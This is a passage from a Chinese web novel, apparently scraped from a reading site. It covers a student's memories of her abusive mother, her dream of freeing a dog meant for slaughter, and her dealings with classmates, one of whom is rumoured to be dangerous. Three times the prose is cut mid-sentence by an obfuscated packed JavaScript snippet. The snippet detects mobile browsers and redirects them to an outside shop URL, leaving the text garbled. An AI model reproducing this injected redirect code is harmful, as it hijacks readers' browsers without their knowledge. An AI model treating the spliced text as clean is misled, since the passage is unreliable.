一滴眼泪从那抹红色旁滴落。 风撞到了他的肩膀。 “啊!对不起,抱歉,我不是故意的,对不起!” 她没有再抬头,急匆匆地离开,背影纤细,颤抖……那滴泪落在了他的手背上。 人已经走远。 现在,他应该把那滴眼泪擦掉,离开。 鬼使神差的,肖序将手背靠进嘴边,轻轻舔了一下。 如他预料得一样。 苦,咸,青涩,微酸—— 【学号20395724,高考物理类689分,A大,第一志愿,经济学;第二志愿,计算机与科学;第三志愿,数学与应用科学;滑档,调剂进入生命科学学院。 大一绩点2.24,课程分数分布在0-92分之间,0分两门,45-60分两门,76-85分四门,86-92分一门。 家庭住址S省,青镇236号,建兴花园小区7栋3-1室,邮政编码30249;宿舍位于A大,四栋,201室。 薛年年,女,生命科学系大二,年龄19岁零295天。】 …… 5分钟后,停止一切思考,离开。 红色的灯光在远处的道路上缓慢流淌。 肖序安静地望着窗外,瞳孔中倒映着融铁般的颜色。 屏幕上光影明灭。 指腹压出浅浅的凹痕……如猎人收拢的指缝,他的手略微移动。 5分钟后,肖序关上电脑。 时间刚好。 凌晨1:00,没有超过一秒钟。 7. 第一次离开 凌晨一点。 薛年年关掉了聊天的对话框,打开了手机上的照明软件。 漆黑的衣柜内部在刹那间被点亮。 她看到了自己蜷缩着的小腿,以及抵在柜门上的膝盖。 单薄的膝盖因为睡着时无意识的擦碰,有些青黑,在苍白的皮肤上显得格外刺眼。 虽然伤口的颜色看起来很严重,但薛年年却习惯性无视了它,只伸出手,揉了揉自己酸痛的小腿。 她刚一动,胃部就传来了一道“咕噜噜”的声响。 薛年年的脸瞬间红了,她赶紧捂住自己空荡荡的肚子,安静地靠在柜门上听了一会,没有听到衣柜外传来其他的声音。 室友应该早就睡了。 幸好她们没有被她吵醒。 薛年年松了口气,准备用最小的动静解决掉自己的问题。 她没有屯粮的习惯,然而“饥饿”这个问题,向来很好解决。 以往如果她的学习任务没有完成,妈妈就不会允许她吃饭。 她经常一个人抄卷子抄到深夜,如果抄饿了,就往嘴里塞一团草稿纸。 纸的口感很干……微苦,酸,不好吃,但能填饱肚子。 她在钻进衣柜补觉时,顺手就带上了肖序借给她的书,还有课上用来记录的本子和笔。 薛年年其实在肚子响之前,就已经饿得有些晕乎乎的了。 她下意识像小时候一样,撕了一页本子,把它揉成纸团,塞进了自己嘴巴里嚼嚼。 是熟悉的,苦涩的味道……咽下去后,胃却得到了安慰。 薛年年一边嚼嚼,一边靠在冰冷的衣柜门上,把书拿起来,想复习一下今天课上学过的内容。 她学习的办法很笨拙,理解能力也很一般,只能先死记硬背。 妈妈总是说她不够聪明,所以要比别人多花时间在学习上,要学会笨鸟先飞。 她总说“吃得苦中苦,方为人上人。”、“好记性不如烂笔头。” 她教她多抄书,多抄做过的卷子,因为她年轻的时候,就是这么学习的。 “我初中可考过两次年级第一名!你比我那时笨多了,要相信我教你的方法。” 在说这些话的时候,妈妈总会陷入一种微醺般的美妙回忆中。 薛年年从不会打断她,也不会提醒她,从小学起,她就一直是年级的第一名。 她也从来没有告诉过妈妈,其实不需要抄写,她也能记下很多内容。 在很小的时候,薛年年就发现,只要她稍微表现得“聪明”一点,妈妈就会很生气。 她会整夜整夜地不睡觉,一直坐在她的书桌旁,监督她抄书。 等小小的她抄得头晕眼花,完全不记得自己写过些什么,一问三不知的时候,妈妈才会像证明了什么般,心满意足地教训她一顿,然后放她去吃饭,睡觉。 薛年年觉得自己的确挺笨的,被妈妈打了好几次后,才学会装“记忆力不好”,学会装“刻苦”。 她其实不想要她的女儿太聪明,她只想要她的女儿靠“勤奋”考上A大。 薛年年一边看着肖序的书,一边习惯性抄写着书上的内容,大脑却自动用另一种方式在记忆。 今天早上的那一部分知识是淡蓝色的,有金属与薄荷的香气……略微刺鼻,但很好闻,是肖序身上的味道。 这部分内容她看得很快。 现在看的内容是青黑色的,有纸屑与胃酸混合的腐烂木头味,薛年年学的速度就要慢上很多。 上了大学后,很多知识她能背下来,却不能理解。 虽然下午已经睡了很久,但此时薛年年缩在漆黑的衣柜里,捧着书,看着自己完全理解不了的知识,越看越想睡觉。 她逐渐又陷入了梦境中…… 梦里的她被关在一间狭小的屋子里,抄写着卷子。 窗外有雪,不远处是老家的厨房,烟囱中飘散出热气,带着炖烂的蔬菜与油脂混合的味道……是新年。 妈妈将她从县城带回乡下吃年夜饭。 除夕夜,小孩们在空地上打雪仗,亲戚们围在火炉边取暖,每个人脸上都洋溢着过年的喜庆—— 每个人经过她的窗前,都会轻飘飘地感叹一句“这小孩学习真刻苦”。 有些还会嘟囔一声“学那么多有啥用啊?”,然后便走掉,离开。 这就是她从小到大的除夕夜。 薛年年低下头,看到梦里的自己身上裹着单薄的棉衣,带着茧的食指被冷风冻得通红。 那时候她的头发还没有留那么长,只堪堪到肩膀,能挡住一点想钻进脖颈的冷风。 这时窗外又走来一对父子。 父亲的眼睛一直往屋里瞟,嘴里还骂着自己的儿子:“你看人家薛年年,除夕都还在学习,人家成绩多好,你看看你!” “爸,我那只是不想学,老师都说我可机灵了,如果我肯学,成绩肯定比她好!” 儿子不服气,“薛年年她就只会死读书,脑袋也不怎么聪明,长大以后肯定没我有出息!你看她那副木呆呆的样,完全就是个绣花枕头。” “绣花枕——嘿,你这破孩子,小小年纪竟然也知道什么是漂亮女娃啊?”父亲打趣道。 儿子的声音忽然结巴了:“漂,漂,亮,谁说的!她哪有那么好看!” “上次你们班主任还和我告状,说你在学校里故意拉她的头发,还往她笔盒里扔虫子,这又是咋回事?” “那是和她闹着玩呢,爸你就别管了!” 儿子推着他的父亲走开了。 “今晚太爷家准备了些什么菜啊?” “好东西,你到时候多吃点,给你补补。” 两人交谈着,越走越远,薛年年看着他们的背影,想起了这是哪一年的除夕夜。 从远处传来似是狗鸣的呜咽声。 薛年年打开窗户,血污伴随着铁锈味飘散进来,汤汁在锅中煮沸,“咕噜咕噜咕噜”…… 记忆里那令人反胃的味道久久不散。 门被锁住了,她便从窗户翻了出去,小跑到厨房的后门旁。 那里有一个生锈的铁笼子,里面还关着一只小狗。 狗的尾巴蓬松得像一朵烟花,它的眼睛黑得发亮,后背却瘦骨嶙峋。 本来应该有两只,另一只已经被人抓起来,绑起来—— 它叫得很凄惨,血洒在地上,锅架在空地中央,“咕噜咕噜咕噜”…… 周围围满了人,声音嘈杂,大人带着小孩在边上看,他们脸上都洋溢着过年的喜庆……是新年。 趁厨房暂时没人,薛年年钻了进去,找到了劈柴用的斧头。 斧头很重,她拖着它来到了铁笼旁,用尽全身的力气举起来,往生锈的锁上劈。 “铛,铛——” 刚劈两下就被人发现了,之前走掉的那个男孩跑回来叫住她: “喂,薛年年你在干什么,停下!放跑这只狗,大家晚上都没吃的了,你会被大人骂的!” “明明,明明还有很多。”她气喘吁吁地抬起手臂。 “你劈不开的,别白费力气了,那可是铁做的!”他冲过来抢她手里的斧头。 “放,放手!劈不开……吗?我总要试着去争取啊!我很笨,什么东西都只能靠重复去得到,一次不行就两次,两次不行就三次,总有一次能成功!我要想办法!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760963|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她借着挥斧头的力,把人推开。 男孩被她推倒在地上,手先着地,掌心出了血,痛得大叫起来。 他甚至都不敢再靠近她了,满脸震惊地看着一个他认为的“乖乖女”,“木呆呆的绣花枕头”举起斧子。 薛年年已经记不清当时的场景了,她只记得自己麻木地挥着手臂,天上掉下融化的雪,浸湿了她的后背。 她好笨啊…… 学习只会靠死记硬背,除了做题什么都不会,连斧子都不会用! 她胡乱地劈砍着,手臂已经酸痛得快举不起来了。 一下,两下,三……还差一点,再坚持一下就可以了吗? 终于,“哐当!”伴随着一声脆响,生锈的锁掉落下来,薛年年拉开了铁笼。 “快走吧。” 狗撞了出来,在她的腿边转了两圈,舔掉了她裤脚上的雪花。 目的达成,薛年年瞬间松了口气。 她的头垂下来,望向地上那个不断惊叫的人。 他的痛呼声立刻止住。 “手还痛吗?”她看向他的眼睛。 地上的人摇了摇头,耳根忽然变得通红,目光一直黏在她的脸上。 即便这是梦,薛年年也觉得这很没意思。 她的声音中充满了疲惫,居高临下地望着他,眼睛里倒映着融雪的颜色: “那么请你不要因为流了点血,就在那里瞎叫唤了。” 说完这句话,她闭上眼,躺进雪地里,冰凉的雪包裹住她。 小狗温热的鼻息还环绕在她腿边,它还没有走,但她已经很累了,没有力气再送它。 “快走,快走啊!不要停下,离开这里……” 她也想要离开。 那天的除夕夜她只吃了纸团。 那个男孩没有去告发她,但妈妈发现了她没有留在屋里学习。 把她带回家后,一个熟悉的耳光从侧面挥来。 “为什么不听话,为什么要跑出去玩?你还记得你自己是谁吗,你是个学生,该想的事就只有高考!” “你怎么能不努力呢,薛年年!你是个笨孩子,你不努力的话什么都做不到,到时候考不上大学怎么办?” 又一个耳光打上她的脸,“说,我错了,我不该不努力。” “妈妈……我没有不努力,我会好好学习的——” “啪。”又一个耳光袭来,“说,我错了,我不该不努力,说!我错了,我不该不努力,说!我错了,我不该不努力!” 她被打得倒在地上,抬起头,是墙壁。 房间里,墙上全是她抄写的英语书页。 从客厅到卧室,墙壁上贴满了密密麻麻的英语单词。 头顶上,母亲举着手。 “……我错了,我不该不努力。”薛年年感觉到自己的嘴角流下了血。 除夕夜欢庆的钟声从远处飘来。 她蜷缩在冰凉的地面上,想起了她放走的那只狗。 小狗在眼前欢快地跑远。 她忽然笑了起来,“嘿,你自由了。” 眼前的画面逐渐变得模糊,薛年年不知道是因为眼泪还是什么。 但她记得那天她没有哭。 “真好啊……它自由了。” 母亲在她高考前夕因病去世,她最后考上了A大,一个女孩离开了小镇。 按理说,她也应该自由了,可为什么她还会继续做这样的梦? 薛年年从梦中惊醒,感觉到自己的眼角有些潮湿。 高考是她18岁之前,人生的全部。 可高考之后,她又该去做什么呢? 薛年年想不明白。 8. 第一次交朋友 想不明白就先拿到毕业证吧…… 薛年年摸了摸自己额前有些凌乱的长发,又看了一眼手机上的时钟,发现已经是早上了。 她估算了一下时间,用有些酸麻的手臂推开衣柜门,走了出去。 宿舍里已经是空荡荡的一片。 虽然现在才早上七点,但其他室友都已早早地离开。 她的室友有三个人,其中两个都有晨练的习惯,另一个还是外语系的,她们院里会强制要求晨读。 薛年年在上大学以前,只是单纯地觉得自己是个有点“虚弱”的普通人。 然而上大学后,她发现比起A大的其他学生,她完全可以被划入“不正常”的低精力范围内。 她每天睡得比别人早,起得还比其他人晚。 人与人之间的差距,真的可以大到令人难以想象的地步…… 薛年年脚步虚浮地走到自己的桌前,想把从衣柜里带出来的书放上去,手却在无意间,忽然触碰到了一个塑料袋。 “滋啦——” 她瞬间清醒了过来,仔细看了看那个白色塑料袋,发现里面竟然放了两个面包,还有一瓶水。 袋子旁边摆放着一张字条,上面留有三种不同的笔迹: 【小年糕笨笨嘟,没想起来让我们帮你带饭吗?】 【谢谢宝贝儿把空调修好了~】 【先用面包垫垫肚子吧,以后半夜起来不用担心打扰到我们,身体健康最重要!】 薛年年呆呆地望着这张纸条许久,过了好一会,才轻轻地拿起面包。 她撕开了包装。 面粉与黄油混合后的甜味扑面而来,像一张鹅黄色的毛巾,温暖的绒毛包裹住她的胃部。 薛年年感到自己空荡荡的胃被安慰了。 她很快把两个面包吃完。 平时其实只需要一个就够了,但今天她实在太饿,饿了整整一天后,两个面包的确只能先垫垫肚子。 薛年年洗漱过后,准备再去食堂转一圈。 早晨的食堂有一家店偶尔会卖鸡蛋汉堡,是食堂阿姨亲自喂养的鸡,还夹了她早上新摘的生菜。 鸡蛋汉堡很好吃,就是数量有限,去晚了就没有了。 薛年年到食堂的时候,刚好买到了最后两个。 她决定先吃一个,如果第二个吃不下了,就把它当作午饭。 早上晨光熹微。 薛年年坐在食堂里,一边啃着鸡蛋汉堡,一边想着等会课上,该怎么把书还给肖序。 她现在满脑子都是肖序的胸。 照片里的他真的好大…… 怎么会那么大啊! 薛年年感到浑身不自在,有种发现教导主任在网上跳脱衣舞的无措感。 肖序穿上衣服时明明看起来是瘦长一条,但衣服下竟然有那么伟岸的……胸襟。 她的脸瞬间变得有点红。 薛年年的脑子止不住胡思乱想,她忿忿地把鸡蛋汉堡塞进嘴里嚼嚼,还没吃完第一个,旁边的窗口忽然传来声音,打断了她的思绪: “啊……怎么卖完了,我都已经跑那么快赶过来了!” 声音听起来很懊恼。 薛年年侧过头,看到是一个有点眼熟的短发女生,好像之前经常出现在柳思睿旁边。 她穿着一件耀眼的红色运动短袖,耳边是和上衣同色的红水晶耳坠。 听到卖鸡蛋汉堡的阿姨让她“明天再来”后,李娅宁叹了口气,刚转过身,准备去买其它早饭时,忽然,她感觉到自己的腰间被人戳了戳。 触感很细微,像羽毛一样,隔着衣服都能感觉到她的指尖在颤抖。 李娅宁侧过头,看到一旁的凳子上坐了朵小蘑菇。 额前的刘海几乎盖住了她的整张脸,她的脖子已经红透了。 薛年年鼓起勇气,戳了戳身旁人的腰说:“是,是要这个吗?不介意的话,你可以把我的拿去,我买了两个。” 纸袋里的鸡蛋汉堡还存着余温。 李娅宁愣了愣,目光安静地看了她几秒,英气的眉毛忽然舒展开,接过纸袋笑道: “那我就不客气了,谢谢你!” “砰——”她将肩上背的一个硕大的包扔到地上,坐到了薛年年的对面。 薛年年面对生人有些紧张,不自觉把头压低。 李娅宁却天生就是个自来熟,她一边吃早饭一边自顾自和薛年年唠嗑:“唉,这食堂好不容易有个好吃的,竟然还经常买不到,真是麻烦!” “今天真是多亏你了,下次有什么需要帮忙的尽管和我说,我叫李娅宁。” “李……啊,没关系,只是早饭,我叫——” “薛年年!我知道你。”李娅宁有些兴奋地打断道,“一会咱们可以一起去上课。” 她看到薛年年虽然一直低着头,但似乎对她扔在地上的剑袋很感兴趣,便主动介绍道: “这是装重剑用的剑袋,我是学校击剑队的,如果不是因为早上队里要晨练,我才不会到那么晚。” 李娅宁不顾形象地啃下一大口鸡蛋,英气的脸上满是郁闷。 薛年年呆呆地望着她,听她说起击剑队的事情,嘴不自觉地微微张开,连吃自己的早饭都忘记了。 她听着听着,小声惊呼道:“好厉害……” 李娅宁把嘴里的东西咽下,漫不经心地揉了揉自己的短发: “这有什么厉害的,只不过是为了加分学的体育特长而已,和你们这些硬考上来的学霸没法比啦。” “那也很厉害!”薛年年看着她锻炼良好的臂膀,有些羡慕道, “我就没有特长……” “哎呀乖乖,这些都是不重要的东西,别多想。”李娅宁安慰她, “你看我,只要不和我后妈的儿子争家产,哪怕我击剑击成世界冠军,我家里的人都是不会在意我的。” 李娅宁随口把这句话当玩笑一样说了出来。 薛年年听到,吃早饭的动作却忽然一顿。 她缓缓抬起头,认真地望向她说:“可是你想要那个吗?” “……什么?” “家产。”薛年年的语调听起来有些严肃。 李娅宁因为她的语气莫名愣了一下,却又立刻笑了起来: “我没什么机会啦,那可不是我想要就能要的,得看我爷爷和我爸的意思,他们都比较喜欢我弟——” “但他们都会死。”薛年年突然打断她。 李娅宁的笑容停在了脸上。 她听到面前这个纤细又文弱,看起来完全就是标准“乖乖女”的女生竟然又重复了一遍: “他们都会死在你前面。” 她说得理所当然,就像呼吸一样,丝毫不觉得自己的语气很惊悚。 薛年年知道她自己很笨拙,很多事如果不努力就没办法做到。 达成目的总是要花费很多很多精力。 都已经那么辛苦了……就别管用的是什么方法了吧? 薛年年低下头,如常地啃了一口鸡蛋,语调平淡道: “如果真的想要,你的爸爸、爷爷……他们都会比你早死很多年,不去试试吗?” 听到她的话,李娅宁缓缓眯起眼睛,沉默地看了她几秒。 她发现薛年年并不像是在开玩笑。 面前的女生看起来很瘦,皮肤苍白到不正常,头发挡住了她的大半张脸,只露出尖尖的小巧下颚。 刚看到她时,她畏畏缩缩的样子仿佛永远在害怕。 这样的一个乖乖女,优等生,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760964|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来完全是个无忧无虑的天真少女,竟然能在她开玩笑的瞬间,说出这些话。 “你还真是……说了不得了的话啊。”李娅宁感叹道。 薛年年如同惊醒般,耳根瞬间变红:“啊?我说错什么了吗,对不起!” “没有哈哈哈哈,没有!你说得对,我当然想要,而且老登们都会死在我前面!” 李娅宁的五官锐利又英气,像一只鹰,她缓缓起身,弯下腰靠近她的耳边说, “乖乖,你以为我为什么要靠体育特长,加分上A大?” 她的声音中带着一点隐秘的锐气。 薛年年的瞳孔缓缓放大,似乎突然想明白了一些:“你……” “嘘——这是个秘密。”李娅宁朝她眨了一下眼,“不要把我今早和你说的话告诉任何人,包括柳思睿,好吗?” “他家里的环境很单纯,不需要卷进这些破事里来。” “……哦,我知道了,但我其实也没怎么和他说过话。”薛年年乖乖点头。 李娅宁看着她这副乖巧懵懂的样子,又想起她刚才说的话,不禁感叹道:“你比柳思睿可有意思多了。” 这么有意思的女孩怎么总想吊在一棵歪脖子树上? “他有什么好的?”李娅宁实在想不明白。 薛年年愣了愣,下意识夸了自己的表哥两句:“你说柳思睿吗?他,他很好啊,长得不错,人也不错。” 当初她为了送礼,拽了他头发,把他拽得那么疼,他都没生气。 薛年年虽然嘴笨,但还是尽量夸了夸柳思睿。 李娅宁见她很是认真,叹了口气,摇摇头说:“行吧,我也不阻止你,可你得想清楚,你选的这门课很难。” 如果只是为了见柳思睿,那完全没必要花这么大的力气。 李娅宁继续提醒道:“而且你的队友还是肖序,要是之后没什么意外,老师应该是不会允许你换队友的。” “肖序他……他不是很厉害吗?”薛年年有些疑惑。 虽然他晚上会在网上擦边这件事很诡异。 但只要他线下不把牛子掏出来……那就没关系吧? 薛年年觉得这不是太大的问题。 一旁的李娅宁听到她的疑问,思索了一会说:“肖序他是很厉害,不过嘛——” “再给你说一个秘密吧,或者说,一个忠告。” “如果想要大学四年安稳度过,最好离肖序远点。他外表看起来可能只是普通的高冷帅哥,但肖序……他其实和正常人不太一样。” 李娅宁逐渐收敛了笑容,目光中不由自主地带上了一丝恐惧,如同警告般说, “大概八九岁吧,我们这些傻不溜秋的富二代都还在玩泥巴的时候,他就已经是两起命案的嫌疑人了。” “啊???” 薛年年甚至以为自己听错了。 她觉得这些话超出了她的理解范围,李娅宁却还在继续补充:“虽然那两个案子最后都以自杀结案了,但这件事似乎没那么简单。” “警察……警察怀疑是肖序做的?”薛年年吞吞吐吐道。 她八岁的时候还因为经常犯错,在家里被抽得像陀螺一样,怎么肖序都已经和命案扯上关系了? “不,不至于吧,怎么可能,八岁,才那么小……” “觉得他做不出来?”李娅宁似是无奈般笑了笑,“那可是肖序。” “只有他不想,没有他做不出来的事。” 薛年年不知道为什么突然进入了这种惊悚社会频道,她愣愣的,脑子有些发蒙: “你是想告诉我,肖序他,他是个天生反社会的疯子吗?” “乖乖,他可不疯。” 李娅宁尝试着安抚她,“他只是精神不太正常。” 9. 第一次独处 “他可不疯,他只是精神不太正常。”李娅宁尝试着安抚她。 薛年年张了张嘴,疑惑道:“这两个有什么区别吗?” “区别大了,疯子没有理智,肖序他至少现在看起来还是清醒的。” 李娅宁故意像朗诵一般说,“我知道这很难让你接受,但我们的‘肖学专家’柳思睿曾经说过,‘不要害怕以最坏的恶意去揣测肖序,他能比你想象的更不正常。” “他和肖序从幼儿园起就是同学,为了赢他一次研究了他十几年,你最好信他。”李娅宁笑了笑。 薛年年呆呆地望着她,听到这些话,莫名陷入了沉思。 思索了许久,她忽然问:“那你们知道肖序每天晚上都在干什么吗?” 李娅宁:“……?” 这个问题有些突兀,但李娅宁还是仔细回忆了一会才说: “肖序晚上能干些什么——吃饭,睡觉,打地鼠?他都自律到快变态了!每天行程就那几样吧。” 果然如此…… 薛年年听到她的回答,嘴角忍不住抽了抽。 看来就算熟悉肖序的人,都不知道他深夜的“秘密”啊…… 一旁的李娅宁还在自顾自地吐槽:“以后要是柳思睿老在你面前说什么‘我三分钟就能把这件事解决’、‘三分钟我就能怎么怎么样’,你别理他!” “他学什么不好,偏要去学肖序那套非人的时间管理逻辑,再这么学下去我看他也快变态了!” 李娅宁忿忿地把最后一点鸡蛋塞进嘴里。 薛年年也赶紧把自己手里的早饭吃完,点头道:“嗯嗯,我明白了。” “反正离肖序远点是件好事,他很危险。”李娅宁做了总结。 薛年年乖乖地点着头,耳朵认真地听着她的话,心里却感到越来越痒。 她很想把自己深夜发现的“大新闻”告诉李娅宁,但又觉得有些难以启齿。 连和肖序同班了十几年的柳思睿都不知道他一直在网上擦边,看来校草一定花了大力气来掩盖这件事吧! ……他究竟付出了多大的努力啊? 薛年年甚至怀疑,刚刚李娅宁说的部分有关肖序的传言,都是他自己为了掩盖真相,故意放出来的风声。 谁能想到一个传闻中的凶案嫌疑人,竟然是个有受虐倾向的m呢…… 警察不会是因为肖序那有很多“凶器”才怀疑他的吧? 可那有很大概率是他用来捅他自己的啊! 等等,肖序竟然在八九岁的时候,就清楚地知道他自己的性-癖了吗? 薛年年回想起了昨天“肖序”发给她的那一大堆“学习资料”,那里面的内容—— 与其说是血腥,不如说是涩情。 薛年年:“……” 完蛋了! 她一想起黄色的事,就丝毫不觉得危险了!压力没有了,也一点都不觉得肖序可怕了,但李同学是在好心提醒她吧! 薛年年感到十分抱歉。 她的大脑在上大学后已经被网络污染掉了! 想一想,肖序这家伙也真是不容易啊……长得那么帅气,却因为要维护自己高冷的形象,只能在网上舒缓一下自己的性-癖。 他都憋到在网络上说“求求你”,还叫她“主人”了! 薛年年摸了摸自己的头发,有些无奈但郑重地说: “谢谢你的提醒,但是我有无论如何都要转专业的理由,只能先继续上完这门课。” 李娅宁观察了她几秒,发现她的态度的确很认真,不禁叹了口气。 柳思睿这小子还真是好命啊…… 竟然能被这么好的女孩喜欢上,为了他都——他竟然还不珍惜! 李娅宁忽地一下起身,单手挎起包,走到薛年年边上,挽起她的手臂说: “那先去上课吧,以后你有什么想知道的都可以来问我!” 柳思睿几岁还在穿开裆裤她都清楚,如果要追他的话,这些小事李娅宁还是很有自信能帮到她的。 薛年年被她轻轻拉过了手臂,闻到了她身上像是雨后柏油路般,隐秘又张扬的辛香料味。 她莫名感觉到了安心。 薛年年的脸略有些红,小声说道:“去教室前,我还得去买课上用的书。” “书?建模课的书只能在网上预订,今天就先用电子版的吧。”李娅宁想了想。 薛年年都不知道这件事,以为在学校的书店里就能买到。 她被李娅宁牵到了教室,还被拉着坐到了她和柳思睿旁边。 教室一排有六个座位。 柳思睿一见她是和李娅宁一起来的,惊得下巴都快掉了。 还没等他有所反应。 薛年年刚坐下没多久,很快上课铃就响了起来。 肖序在铃声响起前的五秒钟,缓缓走进教室。 如果不是李娅宁提醒过她,薛年年都不知道,他竟然能将时间控制得这么精准。 他依旧沉默地在她身边坐下,带起一阵冰冷又锐利的气流。 薛年年下意识感到了紧张。 她总觉得肖序身上有股特殊的味道,就像幽冷的刀锋与铁,是刺鼻的消毒剂和淡淡的薄荷混合起来的香味。 这样锋利的气息会让薛年年下意识想远离他。 然而还没等她紧张多久。 薛年年的脑子就已经不由自主地开始胡思乱想了。 她的余光控制不住地瞄向了肖序的胸。 虽然很不礼貌……但她实在太好奇那个尺寸究竟是怎么回事了! 肖序今天穿了一件简单的黑色衬衫,扣子扣到了最上面一颗,领口紧贴脖颈。 他的鼻梁上还戴一副金属质的无框眼镜。 灯光照在他略微上挑的眼尾上,镜片后,他瞳孔中的灰蓝色就如同冰面般冷凝。 ……这难道就是网上传说中的禁欲系? 灰蓝色在光线下很好看,然而薛年年越看越觉得违和。 她还在研究中—— 那张伟岸的胸肌照片究竟是怎么摆拍出来的? 薛年年实在是没瞧明白。 她趁肖序没注意,偷偷瞄了他好几眼,有一次差一点点就被他发现了。 就在薛年年仔细研究时,老师走上了讲台。 她只能先强迫自己收回注意力。 今天是习题课,简而言之就是靠做题来学会应用。 老师发下了一张张练习题,然后没有任何讲解,就开始让他们做: “这堂课你们的任务,就是把这张纸上的题做完,如果一道都不会,之后就自觉退课吧。” 他的语调毫不留情。 台下哀叫声连天。 老师一边继续说,一边用目光敲打着底下的人。 但随着视线移动,在目光接触到肖序时,他的声音忽然一顿,补充了一句: “要是有人能提前完成——那就带上你们组的项目计划书来找我,我来给你们修改,听明白了吗?” “明白了。”台下齐声回答。 薛年年根本就不知道《项目计划书》又是什么时候布置的。 不过她也很有自知之明,她压根就没想过自己能提前做完习题。 她缓缓打开老师发下的卷子,果然,题目像天书一样。 薛年年有些苦恼地皱起了鼻子,感叹自己和其他同学的差距实在太大了。 然而就在她万分烦恼时,课上其他人已经在【论坛】上偷偷开帖了—— 【SOS江湖救急,有学长学姐吗?大二建模课的习题该怎么做啊!】 “没有现成的答案,每年的习题全都是老王新编的,惊不惊喜,意不意外?” “哈哈哈,楼上幸灾乐祸的声音我在宿舍都听到了!” “救命,就三道题,我怎么一道都不会,明明感觉昨天听懂理论了啊?” “恭喜你掌握了这门课的终极奥义!这就是门小众变态猎奇课程” “老王的没头脑与不高兴理论至少五十年内没人能看懂” “没那么短(指思想落后,看不懂王教授的超前教法” “那怎么办?我现在坐教室里都下不了笔!” “楼里这几个还在苦苦挣扎的早日放弃吧,翻翻前几年的帖子,认不清现实是没有好结果的!” “等等,我怎么看到校草走到台上去了,他是去问老师题怎么做吗?” “肖序去找老师要提示了?太好了!” “好个der,他手上拿的那是项目计划书,人家已经把题做完了傻叉们!” “什么????” …… 薛年年虽然没有看【论坛】,但她也看到了肖序缓步走上讲台。 全班都震惊地望着眼前这一幕,薛年年还听到不远处,柳思睿不服气地哼了一声。 肖序手上拿着一份装订好的册子。 很明显,在她还什么都不知道的时候,他已经把项目计划书都写好了。 老师接过肖序递来的计划书,在讲台上朝薛年年招手,让作为组员的她也跟着一起到台上去。 薛年年的脸在瞬间变得通红。 身边也立刻传来议论声—— “那个女的就是肖序的队友?看起来很普通啊” “头发好长,怎么把脸挡起来了?” “她之前坐哪呢……在肖序旁边?我怎么没看见!这存在感也太低了吧!” 薛年年掐紧手心,把头埋到最低,尽量让自己忽略掉身后所有声音,小步跑上讲台。 讲台上,老师认真看了两遍计划书,在看第一遍时,他甚至都找不出什么需要修改的地方。 看第二遍时,他才故意用红笔,简单改了一些时间计划,让整个项目的时间线再拉长了一些。 “肖序,你得考虑到你的队友啊。” 王教授语重心长道,“安排的时间太短了,你的小队友可能跟不上你。” 是的,她完全跟不上…… 薛年年感觉自己像是已经拖了后腿一样,手心紧张得冒冷汗。 一旁的肖序听到老师的话,眉心浅浅皱了一下,却什么都没有说。 老师把计划书还给他,问:“带原文件了吗?去隔壁办公室,用电脑改一下时间,打印出来,明天去找你们系主任签字。” 肖序略微点头,效率极高地转身,离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760965|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛年年只能又快步跟上他。 他的背影在走廊上被风拉得很长很长。 那股锐利又极具压迫感的薄荷味漫入她的鼻腔。 薛年年将手攥紧,强迫自己不要太紧张。 隔壁办公室此刻空无一人。 她跟着来到办公室后,看到肖序很快就用电脑完成了修改。 他坐在椅子上,戴着无框眼镜的侧脸专注,自律又克制。 骨节分明的手缓慢移动……任何事物在他手下,都变得井井有条,严谨到甚至有些强迫症的地步。 他身旁的气压仿佛都比其他地方更低。 薛年年在一旁安静地看着,不知道自己该做点什么。 她蓦然感到有些无措。 今天一上午,肖序就没和她说过一句话。 明明昨天晚上他那么热情—— 他白天究竟怎么装得那么好的? 薛年年觉得她不能就这么干等下去,再等下去她的平时分就只有二十了! 她鼓起勇气,红着脸,小声说:“我来帮忙打印吧。” 声音轻微得如同雪花落地。 薛年年本以为肖序可能听不到她说了什么,但就在她出声的下一秒,肖序侧过头,目光望向了她。 背光的地方,他的瞳孔偏暗,目光幽深。 银框眼镜为他平添了一丝威慑感,薛年年觉得自己像是被他的目光瞬间锁住,连脚踝都产生了凉意。 她下意识后退了一步,后背抵在冰冷的打印机上。 打印机庞大又笨重,是十几年前的款式。 薛年年立刻转身,背对肖序,假装自己在打印机前忙碌。 她刚刚竟然真的感觉到了危险。 和李娅宁说的一模一样。 究竟为什么…… 薛年年强迫自己将注意力全部放在打印机上。 办公室里的打印机极为老旧,是很多年前的款式,使用到如今,像老爷车一样一动一停。 她按了好几次都没能把它启动,指尖便伸向机器内部,去找打印用的墨盒。 